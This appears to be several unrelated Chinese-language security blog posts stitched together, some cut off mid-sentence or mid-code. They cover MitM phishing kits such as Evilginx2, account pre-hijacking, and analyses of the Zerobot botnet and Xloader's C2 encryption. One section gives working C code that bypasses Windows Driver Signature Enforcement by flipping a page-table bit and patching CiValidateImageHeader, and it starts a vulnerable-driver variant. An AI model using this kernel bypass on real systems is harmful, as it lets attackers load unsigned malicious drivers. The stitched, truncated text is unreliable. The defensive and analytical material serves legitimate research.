接下來,我們將介紹一些流行的MitM釣魚工具包。這些工具包都採用了將原始登錄頁面傳遞給受害者瀏覽器的核心策略,但它們在實現細節和附加功能(例如,隱身和TLS證書生成)方面有所不同。 例如Evilginx2,生成唯一的標記化URL(又名“誘餌”),必須直接訪問以顯示釣魚內容。對任何其他路徑的請求都會導致重定向到良性站點。

1.Evilginx2 ,2018年7月(2017年5月發布的第一個版本)首次發布,功能豐富的MitM釣魚工具包,具有易於使用的命令行界面。具有內置隱藏功能。生成URL中必須存在的唯一令牌(誘餌),此工具的命令行界面如下圖所示。

2.Modlishka ,2019年1月發布,自動化幾個配置步驟和攻擊後的操作,例如使用被盜的會話cookie啟動一個插入指令的Chrome實例。

3.Muraena,2019年5月發布,barebones MitM工具包。與其他自動創建TLS證書的工具包不同,Muraena要求攻擊者提供自己的證書。

4.EvilnoVNC,2022年9月發布,使用真實的web瀏覽器在攻擊服務器上渲染登錄頁面,並通過VNC將內容提供給受害者的瀏覽器。

5.EvilProxy,2022年9月發布,MitM網絡釣魚攻擊的網絡釣魚即服務平台。提供一個易於使用的GUI,攻擊者可以設置和管理他們自己的MitM網絡釣魚活動。

4.png

使用Evilginx2命令行界面來啟動和執行MitM釣魚攻擊的屏幕截圖

在今年之前,與MitM相關的策略已經被用來成功地模擬大型軟件組織,暴露數億用戶的個人數據,並從新興初創公司竊取數百萬美元。然而,這些攻擊並不一定使用網絡釣魚本身作為其主要攻擊載體。現在,基於MitM的網絡釣魚攻擊已經開始佔據中心位置。

2022年中MitM網絡釣魚活動2022年7月,微軟報告了一起使用Evilginx2竊取目標微軟證書的網絡釣魚活動。該活動向潛在受害者發送電子郵件,促使他們下載一個重要的附件。在打開附件並通過一系列重定向路由之後,受害者將到達如下圖所示的MitM釣魚頁面。在攻擊者成功攔截身份驗證cookie後,他們會登錄到受攻擊的Outlook帳戶,並不斷搜索與金融相關的電子郵件和附件,以尋找欺詐的機會。

5.png

MitM憑證竊取頁面,這是微軟在2022年7月報告的一部分

為了避免被發現,該活動使用了各種隱藏技術,以確保只有當受害者通過原始HTML附件導航到頁面時,釣魚內容才會加載。到微軟的威脅情報文章發表時,在幾個月的時間裡,已有超過10000個組織成為了這次活動的目標。

根據Palo Alto 網絡高級URL過濾日誌,他們的高級URL過濾服務早在2021年9月就已經開始阻止對攻擊者域上託管的標記化釣魚URL的網絡流量(例如login[.]mcrsfts-passwdupdate[.]com/HMxVQmxZ)。

2022年底MitM網絡釣魚活動2022年9月,另一個活動被發現使用MitM網絡釣魚策略竊取目標的GitHub登錄憑據。幾個域被用來模擬CircleCI登錄頁面,提示受害者使用GitHub憑據登錄。

6.png

ci[.]com.2022年9月GitHub釣魚活動的示例登錄頁面,點擊“登錄GitHub”,用戶會看到一個MitM憑證竊取頁面,它反映了GitHub的實際登錄頁面。

7.png

上圖中網頁鏈接到的MitM憑證竊取頁面,該網頁不託管在網絡釣魚服務器上,而是從GitHub本身轉發

對於已經設置了基於OTP的雙因素身份驗證的目標,MitM服務器還會提示他們輸入OTP,然後將其轉發到GitHub,從而允許成功登錄。從那裡,攻擊者將通過快速創建個人訪問令牌(pat)或將他們自己的SSH密鑰添加到受害者的帳戶來堅持他們的訪問權限。這樣,即使受害者更改了用戶名和密碼,攻擊者也可以繼續訪問被洩露的帳戶。

Dropbox在2022年11月成為MitM網絡釣魚攻擊的受害者,攻擊者可以攻擊並複制130個私人存儲庫。這表明,這些MitM網絡釣魚攻擊已經在實際活動中產生了重大影響。在Dropbox對這次攻擊的回應中,他們計劃將雙因素身份驗證協議從OTP轉移到WebAuthn,這是一種更能抵禦網絡釣魚的雙因素身份驗證形式。

最近幾週,Palo Alto 的高級URL過濾服務檢測到更多的MitM釣魚URL,像Microsoft 365這樣的企業登錄是主要目標。

8.png

-r-us[.]co[.]uk.Palo Alto 的高級URL過濾服務檢測到以Microsoft為目標的MitM網絡釣魚頁面

9.png

microsoftonlinesupport[.]cf.高級URL過濾服務檢測到的針對Microsoft 365的MitM網絡釣魚頁面

隨著MitM網絡釣魚工具包越來越受歡迎,並繼續擴展其功能集,MitM網絡釣魚攻擊的流行程度也會增加。事實上,Evilginx 3.0預計很快就將發布,同時還將提供如何成功執行MitM網絡釣魚攻擊的在線課程。

總結MitM網絡釣魚攻擊已經在現實世界中造成了嚴重破壞,隨著MitM網絡釣魚工具包的不斷普及,預計其流行程度將會上升。因此,對於各類組織來說,保護自己免受這類網絡釣魚攻擊變得越來越重要。

目前,終端用戶可以採取的保護自己免受MitM網絡釣魚攻擊的措施包括:

1.在輸入任何憑證之前驗證URL的有效性,例如,確保一個URL真的是“github[.]com”,而不是“github-impersonator[.]org”。

2.使用密碼管理器存儲和輸入憑據,如果你發現自己處於密碼管理器無法識別的網站上的MitM釣魚頁面,密碼管理器將在輸入憑據之前發出警告。

3.使用最先進的MFA方法,如硬件安全密鑰或網絡認證雙因素身份驗證。

4.使用高級URL過濾服務的用戶可以通過產品的內嵌網絡釣魚URL檢測(包括本文中提到的MitM網絡釣魚URL)免受MitM網絡釣魚攻擊。高級URL過濾會實時分析網絡流量,在攻擊到達目標之前阻止攻擊。這樣,即使MitM釣魚攻擊使用隱藏的URL(如Evilginx2的情況),高級URL過濾也可以在憑證被盜之前阻止攻擊。

如今,代碼簽名證書的洩露和針對驅動程序的漏洞利用已經成為司空見慣的事情,內核已經成為攻擊者新的狩獵場。隨著微軟推出基於虛擬化的安全(VBS)和管理程序代碼完整性(HVCI)等技術,我想知道面對具有Ring-0權限的攻擊者時,端點有多容易受到攻擊。

在這篇文章中,我們將探討一種用於禁用驅動程序強制簽名的常見技術,VBS是如何試圖阻止攻擊者利用這一點的;以及在沒有結合HVCI的情況下,繞過這種安全措施是多麼的輕鬆。

驅動程序強制簽名機制一段時間以來,Windows一直使用驅動強制簽名(DSE)機制來防止攻擊者將未簽名的驅動程序加載到內核中。這是一種非常有效的方法,可以確保攻擊者無法輕易繞過內核中實現的各種安全功能,例如通過破壞EPROCESS字段來繞過PPL(Process Protection Light,PPL)。

為了克服這個障礙,攻擊者有多條路可走。第一條路是向目標發送一個易受攻擊的驅動程序,該驅動程序符合所有的簽名要求,但允許攻擊者利用其缺陷進行內存修改,以便將未簽名的驅動程序加載到內核。第二條路是利用以前暴露的簽名證書給自己的驅動程序代碼簽名,這樣就可以將其直接加載到內核中了。而隨著最近越來越多的簽名證書被洩露,該技術已經成為了攻擊者的首選。

禁用驅動程序強制簽名機制那麼,如果我們想要禁用驅動程序強制簽名機制,又不想將OS重新引導至調試或測試模式,那該怎麼辦呢?實際上,在Windows的最新版本中,DSE是通過一個名為ci.dll的模塊實現的,並且在該模塊中公開了一個名為g_CiOptions的配置變量:

1.png

這個配置變量具有許多可設置的標誌,但就本文來說,可以直接將其設置為0來完全禁用DSE,從而允許攻擊者加載未簽名的驅動程序。

在很長一段時間裡,作為一種將未簽名的驅動程序加載到操作系統中的簡單手段,都是堪稱完美的。但後來Windows10引入了VBS機制,這種方法就從此失效了。

基於虛擬化的安全保護機制如今,微軟在保護內核不被篡改方面做出了巨大的努力。 David Weston在2018年的Bluehat會議上發表了一篇精彩的演講,對個中緣由進行了全面的總結,其中主要的方面就是安全法則的不斷變化。諸如“如果攻擊者能說服受害者自己的電腦上運行其程序,那這台電腦就不再屬於攻擊者了”這樣的法則已經不再成立,因為微軟已經花了很大的力氣來提高操作系統的安全性,從而防止這種事情的發生。

微軟為提高內核的安全性而部署的技術之一被稱為“基於虛擬化的安全機制”。該機制在Windows 10和11系統中是默認啟用的,並提供了一個受管理程序保護的環境,來運行第二個“安全內核”,而運行在Ring-0級別上的傳統內核是無法觸及該環境的。

注意:就目前來說,許多人都把VBS和HVCI混為一談了。實際上,VBS並不是HVCI。 HVCI可以被看作是在VBS的保護傘下運行,但需要單獨的配置才能啟用。

那麼,VBS是如何防止用洩漏的證書或易受攻擊的驅動程序禁用驅動程序強制簽名機制的呢?為了弄清楚這一點,先讓我們看看CI.dll中g_CiOptions變量是如何解析的:

1.png

我們可以看到,這裡使用了MmProtectDriverSection,它是作為一種叫做內核數據保護(KDP)的技術的一部分而提供的API。這個API的作用,就是確保傳遞內存地址時,在Ring-0中運行的代碼無法修改其內容。

即使我們試圖使用像WinDBG這樣連接到內核的程序(通過設置DebugFlags為0x10來啟用DSE),我們仍然無法更新存儲的值。

1.png

這意味著,為了在VBS被啟用的情況下禁用DSE,我們必須另尋他法。

利用補丁技術禁用DSE對於熟悉AMSI繞過技術的讀者來說,對於接下來要介紹的方法肯定不會陌生:補丁技術。首先,我們需要知道在哪裡打補丁,所以,讓我們進入內核調試器會話,並在安全策略會進行審查的地方添加一個斷點。根據對CI.dll的了解,CiCheckPolicyBits函數看起來是一個下斷點的好地方。從這裡開始,如果嘗試加載一個未簽名的驅動程序,會看到如下所示的調用堆棧:

1.png

就像上面看到的那樣,執行流程通過SeValidateImageHeader函數從內核進入CI,而該函數調用了CiValidateImageHeader函數。實際上,該函數的作用就是驗證驅動程序是否符合簽名要求。接下來,讓我們給SeValidateImageHeader添加一個斷點,看看CiValidateImageHeader在無法成功加載未簽名的驅動程序時會返回什麼。

1.png

在我看來,這好像是一個NTSTATUS代碼。在幻數數據庫中的搜索結果顯示,c0000428對應於STATUS_INVALID_IMAGE_HASH。所以,我們可以推測,如果這個函數返回STATUS_SUCCESS,我們就可以繞過這個簽名檢查。幸運的是,我們也知道這個方法並不受內核數據保護的保護,所以,我們現在只需想出一個允許向這個內存位置執行寫操作的方法即可。

利用已簽名的驅動程序禁用DSE首先,讓我們創建一個簡單的驅動程序,以便將來用於禁用DSE。很明顯,這個程序在創建之後,必須用證書籤名才能加載。由於在下一節將變得很明顯的原因,我們將專注於通過讀/寫操作來植入CiValidateImageHeader。

我們先在內核中修改CiValidateImageHeader的內存保護。最直接的方法是直接修改虛擬地址的頁表項(PTE)。為了抓取CiValidateImageHeader的頁表項,我們首先需要找到一種方法,允許我們將虛擬地址轉換為其對應的PTE。

對於熟悉遊戲作弊技術的人來說,已經猜到在這種情況下可以使用的函數是MiGetPteAddress。關於這個方法的詳細介紹,請參閱@33y0re關於PTE覆蓋的相關文章。基本上,這個函數能夠找出稍後用到的PTE基址;下圖中,該地址為0FFFFCE8000000000,但在每次重啟後,該地址都會發生變化:

1.png

為了找到這個函數,我們需要在內存中尋找一個字節簽名。為此,我們可以用下面的代碼來完成該任務:

void*signatureSearch(char*base,char*inSig,intlength,intmaxHuntLength){

for(inti=0;imaxHuntLength;i++){

if(base[i]==inSig[0]){

if(memcmp(base+i,inSig,length)==0){

returnbase+i;

}

}

}

returnNULL;

}

.通過在內存中搜索與MiGetPteAddress匹配的簽名,我們可以提取PTE的基址,並將虛擬地址解析為PTE位置:

charMiGetPteAddressSig[]={0x48,0xc1,0xe9,0x09,0x48,0xb8,0xf8,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x48,0x23,0xc8,0x48,0xb8};

void*FindPageTableEntry(void*addr){

ULONG_PTRMiGetPteAddress=signatureSearch(ExAcquireSpinLockSharedAtDpcLevel,MiGetPteAddressSig,sizeof(MiGetPteAddressSig),0x30000);

if(MiGetPteAddress==NULL){

returnNULL;

}

ULONG_PTRPTEBase=*(ULONG_PTR*)(MiGetPteAddress+sizeof(MiGetPteAddressSig));

ULONG_PTRaddress=addr;

address=address9;

address=0x7FFFFFFFF8;

address+=(ULONG_PTR)PTEBase;

returnaddress;

}現在,我們已經能夠解析虛擬地址的PTE了,接下來,我們需要找到CivalidateImageHeader的虛擬地址。由於該函數不是由ci.dll導出的,因此,我們將再次通過簽名進行查找:

charCiValidateImageHeaderSig[]={0x48,0x33,0xc4,0x48,0x89,0x45,0x50,0x48,0x8b};

constintCiValidateImageHeaderSigOffset=0x23;

ULONG_PTRCiValidateImageHeader=signatureSearch(CiValidateFileObjectPtr,CiValidateImageHeaderSig,sizeof(CiValidateImageHeaderSig),0x100000);

if(CiValidateImageHeader==NULL){

return;

}

CiValidateImageHeader-=CiValidateImageHeaderSigOffset;一旦我們找到該地址,我們就可以獲得其PTE位置。為此,我們只需要對PTE中相應的位進行翻轉,從而迫使包含CiValidateImageHeader的內存頁變為是可寫的:

ULONG64*pte=FindPageTableEntry(CiValidateImageHeader);

*pte=*pte|2;當頁面設置為可寫時,我們接下來就可以用xor rax, rax; ret來修補函數的開頭部分;注意備份好原始指令,以便以後還原:

charretShell[]={0x48,0x31,0xc0,0xc3};

charorigBytes[4];

memcpy(origBytes,CiValidateImageHeader,4);

memcpy(CiValidateImageHeader,retShell,4);然後,恢復頁面保護:

*pte=*pte^2;

//Afterthis,pageprotectionisreverted完成上述操作後,讓我們嘗試加載未簽名的驅動程序:

演示視頻:https://youtu.be/uSNivgtM5BM

加載未簽名驅動程序後,要考慮的另一件重要事情,就是恢復以前打過補丁的函數,以避免PatchGuard從中作梗,具體如下所示:

*pte=*pte|2;

memcpy(CiValidateImageHeader,origBytes,4);

*pte=*pte^2;通過易受攻擊的驅動程序禁用DSE現在,讓我們考慮另一個場景:如果我們希望使用易受攻擊的驅動程序,而不是通過用洩露的證書籤名的惡意驅動程序禁用DSE的話,那該怎麼辦?正如我們在上面所看到的,我們所需要的只是一個易受攻擊的驅動程序中的讀/寫原語,並且,這些並非難事!

下面,讓我們詳細介紹如何使用易受攻擊的驅動程序來禁用DSE。在本例中,我們將使用Intel的iqvw64e.sys驅動程序,它已經流行了一段時間。由於我們這次不是在內核中執行代碼,所以,我們就必須執行一些額外的步驟來計算用戶模式下的地址。

首先,我們需要確定ntoskrnl.exe和ci.dll的基址。為此,我們可以使用NtQuerySystemInformation和SystemModuleInformation輕鬆實現這一點:

ULONG_PTRGetKernelModuleAddress(constchar*name){

DWORDsize=0;

void*buffer=NULL;

PRTL_PROCESS_MODULESmodules;

NTSTATUSstatus=NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,buffer,size,size);

while(status==STATUS_INFO_LENGTH_MISMATCH){

VirtualFree(buffer,0,MEM_RELEASE);

buffer=VirtualAlloc(NULL,size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);

status=NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,buffer,size,size);

}

if(!NT_SUCCESS(status))

{

VirtualFree(buffer,0,MEM_RELEASE);

returnNULL;

}

modules=(PRTL_PROCESS_MODULES)buffer;

for(inti=0;imodules-NumberOfModules;i++)

{

char*currentName=(char*)modules-Modules[i].FullPathName+modules-Modules[i].OffsetToFileName;

if(!_stricmp(currentName,name)){

ULONG_PTRresult=(ULONG_PTR)modules-Modules[i].ImageBase;

VirtualFree(buffer,0,MEM_RELEASE);

returnresult;

}

}

VirtualFree(buffer,0,MEM_RELEASE);

returnNULL;

}

.

ULONG_PTRkernelBase=GetKernelModuleAddress('ntoskrnl.exe');

ULONG_PTRciBase=GetKernelModuleAddress('CI.dll');接下來,我們需要進行簽名搜索。這裡最簡單的方法就是將我們的文件映射為SEC_IMAGE並在內存中搜索PE節:

void*mapFileIntoMemory(constchar*path){

HANDLEfileHandle=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if(fileHandle==INVALID_HANDLE_VALUE){

returnNULL;

}

HANDLEfileMapping=CreateFileMapping(fileHandle,NULL,PAGE_READONLY|SEC_IMAGE,0,0,NULL);

if(fileMapping==NULL){

CloseHandle(fileHandle);

returnNULL;

}

void*fileMap=MapViewOfFile(fileMapping,FILE_MAP_READ,0,0,0);

if(fileMap==NULL){

CloseHandle(fileMapping);

CloseHandle(fileHandle);

}

returnfileMap;

}

void*signatureSearch(char*base,char*inSig,intlength,intmaxHuntLength){

for(inti=0;imaxHuntLength;i++){

if(base[i]==inSig[0]){

if(memcmp(base+i,inSig,length)==0){

returnbase+i;

}

}

}

returnNULL;

}

ULONG_PTRsignatureSearchInSection(char*section,char*base,char*inSig,intlength){

IMAGE_DOS_HEADER*dosHeader=(IMAGE_DOS_HEADER*)base;

IMAGE_NT_HEADERS64*ntHeaders=(IMAGE_NT_HEADERS64*)((char*)base+dosHeader-e_lfanew);

IMAGE_SECTION_HEADER*sectionHeaders=(IMAGE_SECTION_HEADER*)((char*)ntHeaders+sizeof(IMAGE_NT_HEADERS64));

IMAGE_SECTION_HEADER*textSection=NULL;

ULONG_PTRgadgetSearch=NULL;

for(inti=0;intHeaders-FileHeader.NumberOfSections;i++){

if(memcmp(sectionHeaders[i].Name,section,strlen(section))==0){

textSection=sectionHeaders[i];

break;

}

}

if(textSection==NULL){

returnNULL;

}

gadgetSearch=(ULONG_PTR)signatureSearch(((char*)base+textSection-VirtualAddress),inSig,length,textSection-SizeOfRawData);

returngadgetSearch;

}

.

constcharMiGetPteAddressSig[]={0x48,0xc1,0xe9,0x09,0x48,0xb8,0xf8,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x48,0x23,0xc8,0x48,0xb8};

constcharCiValidateImageHeaderSig[]={0x48,0x33,0xc4,0x48,0

微信截图_20220725163841.png

帳戶劫持(Account hijacking)是控制他人賬戶的行為,目的通常是竊取個人信息、冒充或勒索受害者。賬戶劫持作為一種常見的攻擊類型,執行起來卻並不容易,為了成功實施攻擊,攻擊者必須提前弄清楚受害者的密碼。

不過,研究人員已經發現了一種稱為“帳戶預劫持”(Pre-Hijacking)的新型攻擊。它涉及到利用尚未創建的帳戶,並允許攻擊者在不訪問密碼的情況下實現相同的目標。

那麼究竟什麼是帳戶預劫持,以及如何免受此類劫持的影響呢?

帳戶預劫持概念帳戶預劫持是一種新型的網絡攻擊。攻擊者需要使用其他人的電子郵件地址在流行服務上創建一個帳戶。

當受害者嘗試使用相同的電子郵件地址去創建帳戶時,攻擊者就擁有並保留了對該帳戶的控制權。然後,攻擊者就可以訪問受害者提供的任何信息。而且,他們會在之後的一段時間,持續獨占對該帳戶的控制權。

帳戶預劫持的運行方式為了進行預劫持,攻擊者首先需要訪問一個電子郵件地址。而這些地址信息遍布暗網,例如,當發生數據洩露時,就會出現大量電子郵件地址被轉儲到暗網中。

然後,攻擊者會在該電子郵件地址所有者尚未使用的流行服務上創建一個賬戶。鑑於許多大型服務提供商通常會提供廣泛的服務棧,因此預測受害者會在某個時刻註冊這樣的賬戶並不困難。而且,這些活動通常是批量進行的,旨在提高成功率。

當受害者試圖用電子郵件地址在目標服務上創建一個帳戶時,他們就會被告知該帳戶已存在,並會被要求重置他們的密碼。而大多數受害者會質疑自身確實已經註冊過賬戶,並按照要求重置他們的密碼。

隨後,攻擊者將會收到新帳戶密碼的更新通知,並持續保留對該賬戶的訪問權限。

這種攻擊發生的具體機制各不相同,但主要分為五種不同的類型。

帳戶預劫持主要類型經典聯合歸併(Classic-Federated Merge)攻擊如今,許多在線平台都會讓您選擇聯合身份(例如,您的Gmail帳戶)登錄,或使用您的Gmail地址來創建新帳戶。如此一來,如果攻擊者使用您的Gmail地址註冊了賬戶,那麼在您使用Gmail帳戶登錄時,就可能訪問到同一個帳戶內,進而遭受賬戶預劫持攻擊。

未過期的會話標識符(Unexpired Session Identifier)攻擊攻擊者使用受害者的電子郵件地址創建一個帳戶,並持續保持一個活躍的會話。當受害者創建一個帳戶並重置他們的密碼時,由於平台並未將原先的攻擊者從活躍會話中註銷,因此攻擊者仍保留對該帳戶的控制權。

木馬標識符(Trojan Identifier)攻擊攻擊者創建了一個帳戶並添加進一步的賬戶恢復選項,這可能是另一個電子郵件地址或電話號碼。如此一來,即便受害者可以重置該帳戶的密碼,但攻擊者仍然可以使用帳戶恢復選項來控制它。

未過期的電子郵件更改(Unexpired Email Change)攻擊攻擊者創建一個帳戶並啟動電子郵件地址的更改請求。這樣,他們會收到一個鏈接,用於更改帳戶的電子郵件地址,但他們並沒有完成該過程。受害者可以重置該帳戶的密碼,但這並不一定會使攻擊者之前收到的鏈接失效。然後,攻擊者仍可使用該鏈接來控制該帳戶。

非驗證身份提供商(Non-Verifying Identity Provider)攻擊攻擊者使用無需郵件地址身份驗證的提供商來創建帳戶。當受害者使用相同的電子郵件地址註冊時,他們可能都可以訪問同一個帳戶。

帳戶預劫持的可能性正常情況下,如果攻擊者使用您的電子郵件地址註冊新帳戶,通常會被要求去驗證電子郵件的地址。假設他們沒有入侵您的電子郵件賬戶,這幾乎是不可能的。

不過,問題就在於,許多服務提供商會允許用戶在驗證電子郵件之前,以有限的功能開啟和訪問帳戶。這就為攻擊者提供了可乘之機,允許他們在無需驗證的情況下為此類攻擊準備好一個帳戶。

易受攻擊的“重災”平台Alexa公司研究人員針對全球排名前150的75個不同類型平台進行了測試,結果發現,其中35個平台存在潛在漏洞。這些平台包括LinkedIn、Instagram、WordPress以及Dropbox等知名品牌。

雖然研究人員已經通知了所有存在潛在漏洞的公司,但目前尚不清楚他們是否已採取足夠的措施來防範此類攻擊。

攻擊對受害者的危害如果您受到此類攻擊,攻擊者將可以訪問到您提供的任何信息。根據具體的帳戶類型,這可能涉及個人隱私信息。如果攻擊者針對電子郵件提供商執行此類攻擊,那麼他們甚至可能會試圖冒充您。如果您的賬戶極具價值,它也可能會被盜,並要求您支付贖金來贖回該賬戶。

帳戶預劫持防禦策略針對這種威脅的主要保護措施是明確它的存在。

如果您設置了一個帳戶,並被告知該帳戶已經存在,那麼您應該使用不同的電子郵件地址去進行註冊。如果您為所有最重要的帳戶使用不同的電子郵件地址,那麼這種攻擊既幾乎是不可能的。

在一定程度上,這種攻擊的成功還得益於用戶不使用雙因素身份驗證(2FA)。如果您在設置帳戶時啟用雙因素身份驗證,那麼其他有權訪問該賬戶的人將無法登錄。當然,雙因素身份驗證還可用於防範其他在線威脅,例如網絡釣魚和數據洩露等。

賬戶預劫持很容易避免帳戶劫持是一種常見威脅,但帳戶預劫持卻是一種新型威脅,到目前為止,還主要是理論上的。在註冊許多在線服務時可能會出現這種情況,但目前還沒有被認定為經常發生的情況。

雖然此類攻擊的受害者可能會喪失帳戶訪問權限並造成個人信息洩露,但它同時也很容易避免。如果您註冊了一個新帳戶並被告知賬戶已存在,請記住務必使用不同的電子郵件地址完成註冊。同時,踐行帳戶安全實踐來防範和規避此類攻擊。

11月,FortiGuard實驗室觀察到一個用Go語言編寫的獨特殭屍網絡通過物聯網漏洞進行了傳播。這個殭屍網絡被稱為Zerobot,包含幾個模塊,包括自我複制、針對不同協議的攻擊和自我傳播。它還使用WebSocket協議與其命令和控制服務器通信。根據一些IPS簽名觸發計數,該活動在11月中旬之後的某個時候開始了當前版本的傳播。

受影響的平台:Linux;

受影響組織:任何組織;

影響:遠程攻擊者可以控制易受攻擊的系統;

嚴重級別:嚴重。

本文詳細介紹了該惡意軟件如何利用漏洞,並在進入受感染的設備後檢查其行為。

1.png

IPS簽名活動

2.png

IPS簽名活動

感染Zerobot利用多個漏洞來訪問設備,然後下載腳本以進一步傳播。完整的腳本如下圖所示。請注意,下載URL已從http[:]//zero[.]sudolite[.]ml/bins更改為http[:]]//176[.]65.137[.]5/bins。此Zerobot變體針對以下架構:i386、amd64、arm、arm64、mips、mips64、mips64le、mipsle、ppc64、ppc64le、riscv64和s390x。它使用文件名“zero”保存,這是活動名稱的來源。

3.png

2022年11月24日之前使用的下載腳本

4.png

當前下載腳本

Zerobot有兩個版本。 11月24日之前使用的第一個僅包含基本功能。當前版本增加了一個“selfRepo”模塊來複製自身,並感染更多具有不同協議或漏洞的端點。舊版本的功能列表如下圖所示。然而,以下技術分析是基於新版本的。

5.png

11月24日之前Zerobot版本的主要功能

技術分析——初始化Zerobot首先檢查其與Cloudflare的DNS解析器服務器1.1.1.1的連接。

6.png

檢查1.1.1.1:80的網絡連接

然後,它根據受害者的操作系統類型將自己複製到目標設備上。對於Windows,它將自己複製到文件名為“FireWall.exe”的“Startup”文件夾中。 Linux有三個文件路徑:“%HOME%”、“/etc/init/”和“/lib/systemd/system/”。

7.png

複製本身的代碼流

然後,它設置了一個“AntiKill”模塊,以防止用戶中斷Zerobot程序。該模塊監視特定的十六進制值,並使用“signal.Notify”攔截任何發送來終止或終止進程的信號。

8.png

AntiKill的部分代碼

技術分析——命令初始化後,Zerobot使用WebSocket協議啟動到其C2服務器ws[:]//176[.]65[.]137[.]5/handle的連接。

9.png

連接到C2服務器

從受害者發送的數據如下圖所示。基於WebSocket協議,我們可以對其進行屏蔽,以獲取帶有受害者信息的JSON:

{'Platform':'linux','GCC':'386','CPU':1,'Payload':'Direct','Version':1}

10.png

C2連接的流量捕獲

通信通道設置後,客戶端等待來自服務器的命令,包括“ping”、“attack”、“stop”、“update”、“kill”、“disable_scan”、“enable_scan”和“command”。有關“enable_scan”中漏洞的詳細信息,接下來會講到。

11.1.png

11.2.png

在zero.mips中接收命令

12.png

zero.386中接收到的命令

技術分析——開發Zerobot包括21個漏洞,具體如圖12所示,下圖中受影響的產品如下所示。除了一些物聯網漏洞外,還包括Spring4Shell、phpAdmin、F5 Big等,以提高其攻擊成功率。

13.png

Zerobot中的漏洞列表

14.png

Zerobot針對的易受攻擊設備列表

上圖頂部名為“ZERO_

Xloader 是一種信息竊取惡意軟件,是Formbook 的迭代版本,自2016 年初以來一直在黑客論壇上被出售。 2020 年10 月,Formbook 更名為Xloader,並進行了一些重大改進,特別是與命令和控制(C2)網絡加密相關的改進。隨著Xloader的到來,惡意軟件的開發者也停止了出售面板的代碼和惡意軟件的可執行文件。當出售Formbook時,一個基於web的命令和控制(C2)面板被提供給客戶,以便他們可以自行管理自己的殭屍網絡。 2017 年,Formbook 的面板源被洩露,隨後,Xloader 背後的攻擊者轉向了不同的商業模式。 Xloader C2基礎設施不是傳播一個功能齊全的犯罪軟件套件,而是出租給客戶。這種“惡意軟件即服務”(MaaS)的商業模式可能更有利可圖,並使竊取變得更加困難。

Xloader的功能包括:

從網絡瀏覽器和其他應用程序竊取憑證;

捕獲按鍵信息;

螢幕截圖;

竊取存儲的密碼;

下載並執行其他二進製文件;

執行命令;

之前的文章已經分析了Formbook 和Xloader 混淆的各個方面。在這篇文章中,我們對Xloader 的C2 網絡加密和通信協議進行了詳細的分析。請注意,Xloader 是跨平台的,能夠在Microsoft Windows 和MacOS 上運行。此分析專門針對Windows 版本的Xloader。

技術分析Xloader 和Formbook 使用HTTP 與C2 服務器通信。 HTTP GET 查詢作為一種註冊形式發送。之後,惡意軟件向C2 發出HTTP POST 請求,以竊取屏幕截圖、被盜數據等信息。在這兩種情況下,GET 參數和POST 數據共享相似的格式並被加密,如下圖所示,我們將解釋以下部分中的加密算法。

1.png

Xloader C2 通信捕獲

誘餌和真實的C2服務器在整個Xloader惡意軟件有多個結構的加密塊的數據和代碼,這些塊旨在通過使用函數序言push ebp 和mov ebp, esp 的彙編指令來混淆惡意軟件分析人員和反彙編程序,如下圖所示。我們將這些結構命名為PUSHEBP 加密塊。這些塊使用基於RC4 的算法結合編碼層和自定義虛擬機(VM) 進行解密。

2.png

Xloader PUSHEBP 加密塊

其中一個PUSHEBP 塊包含加密字符串和誘餌C2 列表,這些誘餌是合法域,被添加以誤導惡意軟件研究人員和自動惡意軟件分析系統。真正的C2 服務器是單獨存儲的,並使用另一種更複雜的方案進行加密。負責解密真實C2 服務器的偽代碼如下圖所示。

3.png

Xloader C2 解密算法

在上圖中,RC4_based_Decryptor 函數由RC4 加密(使用0x14 字節密鑰)和另外兩個編碼層組成,如下所示:

4.png

附加的編碼層由簡單的減法運算組成:

5.png

VM_Decryptor 函數是Xloader 使用的另一種算法,它實現了一個自定義虛擬機(VM)。下面的Python代碼行重現了Xloader為解密真實的C2而執行的步驟。

6.png

解密後,C2 URL 的格式類似於www.domain.tld/botnet_id/

C2通信發生在誘餌域和真實的C2服務器上,包括發送從受害者那裡竊取的數據。因此,有一種可能,備份C2可以隱藏在誘餌C2域中,並在主C2域被刪除時用作備用通信通道。

Formbook 通信加密在FormBook中,HTTP GET參數(和POST數據)是通過四個步驟加密的:

1.使用真實C2 的域和路徑,通過以下方式計算RC4 密鑰:Reverse_DWORDs(SHA1(

2.結果被用作一個RC4 密鑰來加密數據;

3.數據經過RC4 加密後,還會使用Base64 進行額外編碼;

4.通過HTTP POST 請求發送的數據使用表1 中所示的字符替換進行格式化。

7.png

Formbook C2 字符替換

因此,Formbook C2通信可以很容易地通過逆向過程解密,因為C2域和路徑是已知的。

Xloader 通信加密的具體細節XLoader 中的網絡加密更為複雜,該過程中添加了一個額外的RC4 層,其中包含一個複雜的算法,該算法使用以下步驟來推導加密密鑰:

1.為了加密HTTP網絡數據,Xloader首先計算一個我們稱之為Key0Comm的密鑰,如下圖所示。

8.png

Xloader KeyComm0 推導

正如我們在上圖中看到的,PUSHEBP 塊7 是使用Xloader VM 解密的。一旦解密,這個塊的長度為0x15字節。第一個0x14字節用作RC4密鑰,最後一個字節用於根據switch語句選擇並解密另一個PUSHEBP塊(在4、5、6、8、9和10塊中)。因此導出的參數Key0Comm 如下:

Key0Comm=RC4_based_Decryptor(decPushebpBlock7Key[:0x14],decSwitchBasedPushebpBlock)然而,即使在相同版本的Xloader上,PUSHEBP 塊的順序以及開關和塊編號之間的關聯也會從一個樣本更改為另一個樣本(即此函數的代碼是隨機的)。下圖顯示了此函數在兩個不同Xloader v2.5 示例之間的比較。

9.png

Xloader KeyComm0函數映射到一個塊

下圖顯示了這些switch 語句如何映射到這些示例中的不同塊ID。

10.png

Xloader 塊ID 映射示例

為了對C2 通信執行加密,必須知道映射這些塊的特定樣本表,以導出加密密鑰Key0Comm。

2.接下來,使用與Formbook相同的算法計算我們稱為Key1Comm的另一個密鑰:Key1Comm=Reverse_DWORDs(SHA1(

3.最後,我們需要計算最後一個密鑰,使用Xloader 自定義的基於RC4 的解密算法如下:

